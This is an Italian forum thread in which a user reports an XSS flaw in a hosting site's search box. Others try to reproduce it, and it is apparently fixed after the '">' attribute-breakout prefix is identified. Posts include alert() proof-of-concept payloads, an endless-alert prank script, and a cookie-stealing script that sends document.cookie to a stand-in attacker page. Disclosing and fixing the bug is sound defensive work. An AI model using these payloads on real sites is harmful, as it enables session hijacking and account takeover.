Admin Fixate Subito: Bug Xss Nella Funzione Di Ricerca

Admin, c'è un problema. Ogni tanto me ne vado in giro x la rete a trovare siti vulnerabili, ovviamente nn scasso le password e nn defaccio, vedo solo x poi segnalare ai webmaster. Ho trovato un bug nel vostro sito. provate a digitare nella ricerca tra i siti di altervista questo:

Codice:

---

<script>alert("Questo alert dimostra ke c'è una falla XSS");</script>

---

Vi prego di fixare, nel caso del login potrebbe essere pericoloso, e magari qualche burlone dice ad un suo amico di digitare questo:

Codice:

---

<script>s = 0; while(s = 0) { alert("hihihi"); }

---

ke si ritrova a dover killare il task.
Fixate vi prego.
P.S.=Spero non me ne vogliate perchè ho tentato di vedere se il vostro sito è vulnerbile... cmq nn scasso pass o defaccio sito testo solo sql injections, xss e altro....
Ciao abweb, the hacker!

in quale form hai provato?
ho provato ad a cercare con il primo codice, ma non è successo niente.
ma a proposito cosa doveva succedere?

Credo che ci si possa loggare senza essere iscritti

In ogni caso questa cosa andava detta tramite pm ad un mod, per essere più discreti... ;-)

Ti riferisci per caso a questo: http://forum.altervista.org/showthread.php?t=50346 ?


Ciaooo!!!!!

Un bug di tipo XSS può essere sfruttato per far visualizzare dei contenuti (ed eseguire quindi codice javascript) come ad esempio questa finestra di alert tipicamente in pagine che vengono create in modo dinamico sulla base di informazioni postate ad esempio in un campo testo, come quello del motore di ricerca.

A lato pratico questo genere di fenomeno viene sfruttato facendo cliccare in modo ingannevole, magari via email, un link all'utente ignaro per rubargli un cookie di sessione in un contesto di autenticazione.

Per tranquillizzare secretzone un problema simile, anche nella peggiore delle ipotesi e cioè se fosse sfruttato con successo, nè consentirebbe il login a persone non iscritte, nè consentirebbe chiaramente il login non autorizzato al proprio spazio web, anche perchè il dominio di riferimento non ha associati cookies contenenti informazioni personali nè tantomento cookies che possono essere utilizzati per il login nel pannello.


Se si fa riferimento alla funzione "cerca" in homepage, come mi pare di aver capito, non sembra che l'inserimento della stringa produca alcunchè, non è stato quindi possibile riprodurre il problema.
Se hai delle informazioni più precise puoi postarle.

Io ho provato ad inserire il primo codice nel campo utente e password e il sito si è comportato come un normale login, portandomi poi ad una pagina contenente la frase Questo alert dimostra che....
Non sono esperto di XSS e mi sono basato su quello che ho visto per avanzare un'ipotesi.

Cmq, penso che questo sito sia stato creato molto bene riguardo la sicurezza e mi fido abbastanza del vostro lavoro ;)

Grazie per la spiegazione.

secretzone:

se hai trovato un form in cui inserendo il codice suddetto ti compare una finestra di alert (con il tasto ok da premere, per intenderci) segnala la pagina in cui si trova, così si può verificare.

Citazione:

---

Originalmente inviato da Gianluca

secretzone:

se hai trovato un form in cui inserendo il codice suddetto ti compare una finestra di alert (con il tasto ok da premere, per intenderci) segnala la pagina in cui si trova, così si può verificare.

---

Il form in cui ho provato, è quello presente su http://home.altervista.org/site/ in alto a destra. E' il form per l'accesso nell'area utenti.
Ho inserito sia nel campo _user che in quello _password il primo codice postato da abweb, ovvero

Codice:

---

<script>alert("Questo alert dimostra ke c'è una falla XSS");</script>

---

Non mi appare alcuna finestra su cui cliccare, ma solo la scritta di avviso contenuta contenuta nel codice. Ecco uno screen:

http://img219.imageshack.us/img219/5...gine1qx.th.jpg

Questo è tutto quello che fatto. Spero di essere stato + chiaro

EDIT: ho messo uno screen maggiormente visibile

Citazione:

---

Originalmente inviato da secretzone

Il form in cui ho provato, è quello presente su http://home.altervista.org/site/ in alto a destra. E' il form per l'accesso nell'area utenti.
Ho inserito sia nel campo _user che in quello _password il primo codice postato da abweb, ovvero

Codice:

---

<script>alert("Questo alert dimostra ke c'è una falla XSS");</script>

---

Non mi appare alcuna finestra su cui cliccare, ma solo la scritta di avviso contenuta contenuta nel codice. Ecco uno screen:

http://img228.imageshack.us/img228/9...gine3st.th.jpg

Questo è tutto quello che fatto. Spero di essere stato + chiaro

---

Quindi non ci sono errori in questo login.

Citazione:

---

Originalmente inviato da funcool

Quindi non ci sono errori in questo login.

---

abweb ha scritto che potrebbe essere pericoloso se si usasse il secondo codice completo della parte che ha giustamente tralasciato.
Poi nn so, perchè ripeto, nn ne so nulla di xss :roll:

non intendo il login!!! il campo "cerca tra i siti" è quello vulnerabile.
posso provare sul forum?
<script>alert('test');</script>
ok sul forum non funziona, ma vi dico una cosa: *uso solo educativo non mi assumo nessuna responsabilità*: se il forum fosse stato buggato, un utente potrebbe aver scritto questo:

Codice:

---

<script>location='www.sitopirata.it/paginaraccoltadati.php?sessionid='+document.cookie;</script>

---

e quella pagina è fatta per raccolgiere le session di php, quindi il pirata avrebbe accesso a tutti gli account degli utenti ke passano su quel topic.
COMPRESI GLI ADIMN.
Se quanlcuno vuole ke testi il suo sito x falle che possono portare anche a conseguenze come il DEFACCIAMENTO (cioè il sito viene distrutto), basta che mi da l'url.
ciao, abweb, the hacker.

Ma è possibile che 'sto bug funzioni solo a te?!
Usi Internet Explorer?!
Ah, forse sarà che il mio caro Firefox è intelligente e non mi tradisce.
:lolloso:

Ho provato con IE 6.0 SP1 e non succede nulla di preoccupante, mi segnala solo che non ha trovato risultati.
Magari dicci la tua configurazione.


Ciaoooo!!!!

abweb:

inserendo la stringa che riporti (e qualsiasi altro codice javascript) nel campo "cerca tra i siti" si ha una pagina d'errore perchè chiaramente non vengono ritrovati risultati, ma quella pagina non visualizza la stringa di ricerca immessa, quindi materialmente non può essere oggetto di un XSS, lo stesso vale per il motore di ricerca sul web.

Se hai trovato qualche sezione specifica del motore di ricerca in cui puoi riscontrare il problema posta pure uno screenshot in modo che sia possibile verificare e correggere la cosa.

Anche a me funziona il link è questo http://siti.altervista.org/cgi-bin/search.cgi nella ricerca mettete quel codice javascript e... incantesimo.

Edit: Non funzia più :confused: Cioè non c'è più il bug!

è successo anke a me cn altri siti, cioè dopo aver usato 1 volta il bug x un po nn ti funziona A TE!

In ogni modo chiunque dovesse riscontrare questo problema può postare qui allegando però uno screenshot della pagina generata con il relativo alert.

non è comparsa l'alert, ma da questa immagine si vede il bug.
http://img210.imageshack.us/img210/9...enavbug1lp.png

Il bug che vedo io e` leggermente diverso da quel che avevo capito dalle tue spiegazioni, abweb: e` relativo al fatto che i caratteri speciali, come " (apici doppi) e < o > non vengono tradotti in modo sicuro o rifiutati ma lasciati come sono. Provate a far precedere i due simboli:
">
a uno qualsiasi degli esempi forniti da abweb e vedrete.

Sul template Home>>Motore di ricerca, e sigli altri templates che ripropongono nel campo text la query di ricerca il problema è stato corretto.

allora la mia descrizione di prima è esatta, cioè viene eseguito codice javascript, e si vede che viene interpretato anke dalla stringha tagliata e dal "> fuori... cioè gli alert a volte si vedono e funzionano.